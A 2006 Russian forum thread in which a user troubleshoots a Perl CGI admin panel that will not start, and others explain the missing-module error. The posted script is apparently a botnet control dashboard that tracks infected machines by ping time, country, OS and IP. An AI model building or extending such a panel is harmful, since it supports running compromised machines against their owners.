• XSS.stack #1 – первый литературный журнал от юзеров форума

Почему некоторые CGI скрипты не работают?

Mail2k

(L2) cache
Пользователь
Регистрация
24.05.2006
Сообщения
379
Реакции
8
Короче,некоторые cgi скрипты,типа гостевой книги и прочей лабудени нормально запускаются,а админка на cgi не в какую не хочет запускаться.

Потом попробывал на локалхосте запустить и ничего не получилось.Посмотрел лог ошибок.Там вот такое:
[Tue Sep 12 02:59:18 2006] [error] [client 127.0.0.1] Can't locate CGI/Carp.pm in @INC (@INC contains: .) at \\home\\test2.ru\\cgi\\index.cgi line 3.\n

[Tue Sep 12 02:59:18 2006] [error] [client 127.0.0.1] BEGIN failed--compilation aborted at \\home\\test2.ru\\cgi\\index.cgi line 3.\n
File 'c:\mysql\share\charsets\?.conf' not found (Errcode: 2)
 
Потом попробывал на локалхосте запустить и ничего не получилось.Посмотрел лог ошибок.Там вот такое:
[Tue Sep 12 02:59:18 2006] [error] [client 127.0.0.1] Can't locate CGI/Carp.pm in @INC (@INC contains: .) at \\home\\test2.ru\\cgi\\index.cgi line 3.\n
читать умеешь? бери словарь и переводи
 
читать умеешь? бери словарь и перевод

Вообще я на такой ответ не расчитывал. Поэтому и сделал этот топик.

Я специально задал такой вопрос.Может,кто сталкивался с такой проблемой.

Great если захочется сделать очередной бесмысленный пост,то не в этом топике,ок?:fool:
 
Great если захочется сделать очередной бесмысленный пост,то не в этом топике,ок?fool.gif

если бы ты знал английский или имел словарь, ты бы понял, что не хватает модуля для Perl'а для запуска скрипта.
Почему вы все думаете, что программы выдают какие-то жутко непонятные ошибки, по которым ничего нельзя определить. Ну написано же - не хватает модуля, раз нехватает - значит, надо поставить, что непотяного то. То же самое с компиляторами - народ панически боится, например, сообщения Unresolved external symbol. Ну раз неразрешенный символ - значит, наверное, нехватает чего-то линкеру, либо библиотек, либо чего еще.
ксатати @INC=(.) - подозрительно...
 
[Tue Sep 12 02:59:18 2006] [error] [client 127.0.0.1] BEGIN failed--compilation aborted at \\home\\test2.ru\\cgi\\index.cgi line 3.\n
File 'c:\mysql\share\charsets\?.conf' not found (Errcode: 2)
че-то с кодировками. и покажи строку 3 кстати
 
че-то с кодировками. и покажи строку 3 кстати

Вот один из скриптов.
Код:
#!/usr/bin/perl

use CGI::Carp qw(fatalsToBrowser);
use lib(".");
use strict;
use DBI;
use CGI qw(:standard);
use htmls;
use data;
use DBI;
use Time::Local;
use Geography::Countries;

my $act = param('act');

if ($act eq 'auth'){
        unless(htmls::check_auth(param('login'),param('pass')))
           {auth()}
        #Идентификация прошла
        else {
        main();
        }
}
elsif (!&htmls::ident)
       {&auth}
elsif ($act eq 'logout') {
        print header(-cookie=>cookie(-name=>$data::name,-value=>'',-expires=>'-1d'), -location=>'index.cgi');
        }
else {&main;}

exit;

sub auth {
print header;
print $htmls::html_small_head;
print<<html
<FORM ACTION='' method=post>
<TABLE align=center>
<TR><TD>Login:<TD><INPUT TYPE=EDIT NAME=login>
<TR><TD>Password:<TD><input type=password name=pass>
<TR><TD colspan=2 align=right><input type=submit value="send">
<input type=hidden name=act value=auth>
</FORM>
html
;
}
sub main {
print header(-cookie => $htmls::cookie);
print $htmls::html_head;
my $dbh = mysql_connect;
my $sth = $dbh->prepare('SELECT ping, conn, country, os, ip FROM bots');
$sth->execute();
my $data = $sth->fetchall_arrayref;
my $sth = $dbh->prepare('SELECT data FROM jobs WHERE id = ?');
$sth->execute(0);
my $freq = $sth->fetchrow_arrayref;
@$freq[0]=~m/^FREQ (\d+)$/i;
$freq = $1/1000;
my $i=0;
my %countries;
my $lan=0;
my $active=0;
my ($day, $halfday, $pfreq) =(0,0,0);
my %oss;
my $local;
foreach (@$data) {
           if (Time::Local::timelocal(localtime)-str2datetime(@$_[0]) < ($freq+1)) {
                     $pfreq++;
           }
           if (Time::Local::timelocal(localtime)-str2datetime(@$_[0]) < 60*60) {
                     $active++;
                     $halfday++;
                     $day++;
           }
           elsif (Time::Local::timelocal(localtime)-str2datetime(@$_[0]) < 12*60*60) {
                     $halfday++;
                     $day++;
           }
           elsif (Time::Local::timelocal(localtime)-str2datetime(@$_[0]) < 24*60*60) {
                     $day++;
           }
           $i++;
           $lan++ if (@$_[1] eq 'lan');
           $countries{@$_[2]}++;
           $oss{@$_[3]}++;
           my ($a,$b,$c) = split /\./, @$_[4];
           $local++ if ((($a == 192) and ($b = 168)) or (($a == 172) and ($b >= 16) and ($b <= 31)) or ($a == 10) or ($a == 127));
}
if ($i) {
     my $pfreqper = sprintf("%.2f%%",($pfreq/$i)*100);
     my $activeper = sprintf("%.2f%%",($active/$i)*100);
     my $halfdayper = sprintf("%.2f%%",($halfday/$i)*100);
     my $dayper = sprintf("%.2f%%",($day/$i)*100);
     my $lanper = sprintf("%.2f%%",($lan/$i)*100);
     my $ras = $i-$lan;
     my $rasper = sprintf("%.2f%%",(($ras/$i)*100));
     my $localper = sprintf("%.2f%%",(($local/$i)*100));
print<<html
<P>
<table border=0 align=center valign=top bgcolor=#F9F9F9>
<tr><td><b>Total bots:<td>$i
<tr><td><b>Frequency ping bots:<td>$pfreq ($pfreqper)
<tr><td><b>Hour ping<td>$active ($activeper)
<tr><td><b>12 hours ping:<td>$halfday ($halfdayper)
<tr><td><b>24 hours ping:<td>$day ($dayper)
<tr><td><b>Lan connections:<td>$lan ($lanper)
<tr><td><b>Dail Up connections:<td>$ras ($rasper)
<tr><td><b>Local IPs:<td>$local ($localper)
<tr><td vAlign=top><b>Countries:<td><table>
html
;
foreach (keys %countries) {
         my $country=$countries{$_};
         my $countryper =  sprintf("%.2f%%",(($country/$i)*100));
         print "<tr><td>$_<td>=><td>$country ($countryper)<td>".country $_."\n";
}
print "</table>";

print "<tr><td vAlign=top><B>Operating systems:<td><table>";

foreach (keys %oss) {
         my $os=$oss{$_};
         my $osper = sprintf("%.2f%%",(($os/$i)*100));
         print "<tr><td>Windows $_<td>=><td>$os ($osper)\n";
}
print "</table>";
print "</table>";
}
else {
      print "<center>You haven't bots</center>";
}
      $dbh->disconnect();
}

#block str2datetime
# Input - string (date,time) YYYY-MM-DD HH:MM:SS|YYYY-MM-DD|HH:MM:SS
# Output - time in perl format (seconds since Jan 1-st 1970 00:00:00)
#
sub str2datetime {
my ($buffer)=@_;
require Time::Local;

    my ($sec,$min,$hours,$mday,$mon,$year);
    if ($buffer =~ /^([12]\d\d\d)-([01]\d)-([0123]\d) ([012]\d):([0-5]\d):([0-5]\d)$/)
    {  ($year,$mon,$mday,$hours,$min,$sec) = ($1-1900,$2,$3,$4,$5,$6);
        $mon = $mon-1;
return &Time::Local::timelocal($sec,$min,$hours,$mday,$mon,$year);
    }
    else { return(); } # no match at all !
}
#endblock str2datetime
 
Неее...этот модуль включен всегда и используется для отладки ЦГИ-приложений. данная строка говорит только о том что надо выводить фатальные ошибки интерпретации в браузер.. Типа не просто нарисовать что вылезла 500 ошибка а еще и написать причины ошибки - в каком месте скрипта и т.д. Если строку убрать то ничего страшного не произойдет.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх